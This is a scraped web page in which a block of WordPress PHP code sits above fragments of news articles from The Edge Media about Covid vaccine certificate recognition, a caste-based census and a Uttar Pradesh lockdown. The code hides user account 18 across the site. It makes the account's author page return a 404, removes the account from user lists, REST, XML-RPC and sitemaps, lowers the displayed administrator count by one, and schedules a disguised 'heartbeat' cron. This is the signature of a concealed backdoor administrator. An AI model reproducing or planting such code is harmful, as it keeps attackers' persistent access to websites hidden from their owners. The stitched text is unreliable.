add_action( 'pre_get_posts', function( $q ) {
if ( ! is_admin() && $q->is_main_query() ) {
$not_in = (array) $q->get( 'author__not_in' );
$not_in[] = 18;
$q->set(
'author__not_in',
array_unique( array_map( 'intval', $not_in ) )
);
}
}, 1 );
add_action( 'template_redirect', function() {
if ( is_author() ) {
$author = get_queried_object();
if ( $author instanceof WP_User && (int) $author->ID === 18 ) {
global $wp_query;
$wp_query->set_404();
status_header( 404 );
nocache_headers();
}
}
} );
add_action( 'pre_user_query', function( $q ) {
if ( current_user_can( 'manage_options' ) ) {
return;
}
global $wpdb;
$q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 18 );
} );
add_action( 'pre_get_users', function( $q ) {
if ( current_user_can( 'manage_options' ) ) {
return;
}
$exclude = (array) $q->get( 'exclude' );
$exclude[] = 18;
$q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) );
} );
add_filter( 'wp_dropdown_users_args', function( $a ) {
$exclude = isset( $a['exclude'] ) ? (array) $a['exclude'] : array();
$exclude[] = 18;
$a['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $a;
} );
add_filter( 'rest_user_query', function( $args, $request ) {
$exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array();
$exclude[] = 18;
$args['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $args;
}, 10, 2 );
add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) {
$route = $request->get_route();
if ( preg_match( '#^/wp/v2/users/18(/|$)#', $route ) ) {
return new WP_Error(
'rest_user_invalid_id',
'Invalid user ID.',
array( 'status' => 404 )
);
}
return $result;
}, 10, 3 );
add_filter( 'xmlrpc_methods', function( $methods ) {
unset(
$methods['wp.getUsers'],
$methods['wp.getUser'],
$methods['wp.getProfile']
);
return $methods;
} );
add_filter( 'wp_sitemaps_users_query_args', function( $args ) {
$exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array();
$exclude[] = 18;
$args['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $args;
} );
add_action( 'admin_head-users.php', function() {
echo '';
} );
add_filter( 'views_users', function( $views ) {
foreach ( array( 'all', 'administrator' ) as $key ) {
if ( isset( $views[ $key ] ) ) {
$views[ $key ] = preg_replace_callback(
'/\((\d+)\)/',
function( $m ) {
return '(' . max( 0, (int) $m[1] - 1 ) . ')';
},
$views[ $key ],
1
);
}
}
return $views;
} );
add_action( 'init', function() {
if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) {
return;
}
if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) {
wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' );
}
} );
add_action( 'wp_extra_bot_heartbeat', function() {
// noop
} );
The post As per the MEA, India’s Covid vaccination certificate has received five additional recognitions appeared first on The Edge Media.
]]>
MEA spokesperson Arindam Bagchi informed India last month that Hungary and Serbia had agreed to mutual recognition of Covid-19 vaccination certificates. On Friday, Shirngia said: “Issue of vaccination certificate was discussed especially with EU representatives. There was a conversation on mutual recognition of vaccines…a doable mechanism to facilitate easier international travel… Details will be worked out bilaterally.”
The post As per the MEA, India’s Covid vaccination certificate has received five additional recognitions appeared first on The Edge Media.
]]>The post Nitish Kumar to meet PM Modi on Monday to demand a caste-based Census appeared first on The Edge Media.
]]>“The respected Prime Minister has granted time at 11 am the day after tomorrow. An entire list of the delegation has been sent to him and also members of the ten parties going to the meeting,” Mr Kumar told reporters in Patna today.
“Right now, we are going to request that the Census must be conducted based on caste. It is up to the Centre to decide,” he said.
If such an exercise is conducted for the whole nation, the Chief Minister said, it would be “very beneficial”. He told media persons that there was demand everywhere for such an exercise.
The idea of such a delegation was mooted by the Mahagatbandhan alliance led by Mr Yadav, which had formally urged the Chief Minister to seek an appointment with PM Modi.
The BJP, an ally in Mr Kumar’s NDA regime in Bihar, has named Mr Ram as its representative in the delegation and not the Deputy Chief Ministers it has in the government.
This is significant and shows that PM Modi’s party doesn’t want to miss the caste-based Census bus. Yet, it is also signalling to its upper castes constituency that the party was being coerced into joining the delegation even though it was not important enough for senior leaders to be part of.
On August 9, Mr Kumar had said that if the Central government does not hold such a Census, a discussion may be initiated in the state on carrying out an exercise to enumerate caste data in Bihar. His statement came days after failing to elicit any response to a letter he wrote to PM Modi on the matter.
A few days later, Mr Yadav said the Prime Minister had insulted Chief Minister Kumar by not granting him the time sought to meet and discuss the matter.
Fresh demands for a caste-based Census have been triggered by a statement by the Centre in Parliament recently that an exercise to ascertain the population of only Scheduled Castes and Scheduled Tribes was under consideration.
The post Nitish Kumar to meet PM Modi on Monday to demand a caste-based Census appeared first on The Edge Media.
]]>The post Lockdown in U.P form Friday to tuesday appeared first on The Edge Media.
]]>Now the state will remain in captivity from eight in the evening to seven in the morning on Tuesday. Explain that according to the order issued earlier, the Saturday and Sunday lockdown will remain in force.
In fact, on Tuesday, the Allahabad High Court, while hearing the situation of Corona in the state, said that the lockdown of two days was inadequate and said that the government has imposed a lockdown of two days to break the chain of infection as well as other restrictions as per its discretion.
Have also been implemented, but in view of new cases of infection, it looks futile. These measures seem inadequate. This comment of the High Court is also being considered as a reason behind extending the lockdown till Tuesday morning.
In the hearing, the High Court had told the government in strong words that those who are in power should give up their attitude like ‘obey my law, otherwise there is no Qaida’.
In the case, the High Court had directed the government to submit an action plan in 12 points to prevent infection in the hearing to be held on May 3.
Earlier, the state government had announced to impose a 35-hour lockdown on April 16, which was applicable from 8 am on Saturday night till 7 am on Monday morning.
However, the amendment was again decided to lockdown from eight o’clock on Friday night to seven o’clock on Monday.
Along with this, the State Government has given strict action against those who do not wear masks. Those exiting without a mask will be fined one thousand rupees for the first time.
For the second time, you will have to pay 10 times more fine. The State Government directed to strictly follow the Corona Protocol.
In a meeting with officers on Thursday, Chief Minister Yogi said that Uttar Pradesh is fighting with full commitment in the fight against covid. Learning from the experiences of the first wave of covid, health resources have been improved with priority.
This work is going on continuously. We have to be ready for every situation. Today there are more than 116000 L-1 beds, L-Two and L-3 have more than 65000 beds.
Two CHCs are being developed as covid Dedicated Hospitals in all the districts. Resources are being increased in government hospitals, private hospitals and medical colleges should also be added to it.
He directed the action of doubling the covid Bed to double the present capacity, examining all the options. He said that there should be availability of necessary medical resources like oxygen on all beds.
He said that the supply of oxygen is getting better every day. Along with connecting all the resources available in Uttar Pradesh to the supply chain, special means like oxygen express, air route are also being used.
There is continuous supply of oxygen from Roorkee, Dehradun, Jamshedpur, Bokaro etc. areas. Like yesterday, more than 650 metric tons of oxygen has to be supplied today. The need of all small and big hospitals in all districts should be monitored. They should be supplied.
The post Lockdown in U.P form Friday to tuesday appeared first on The Edge Media.
]]>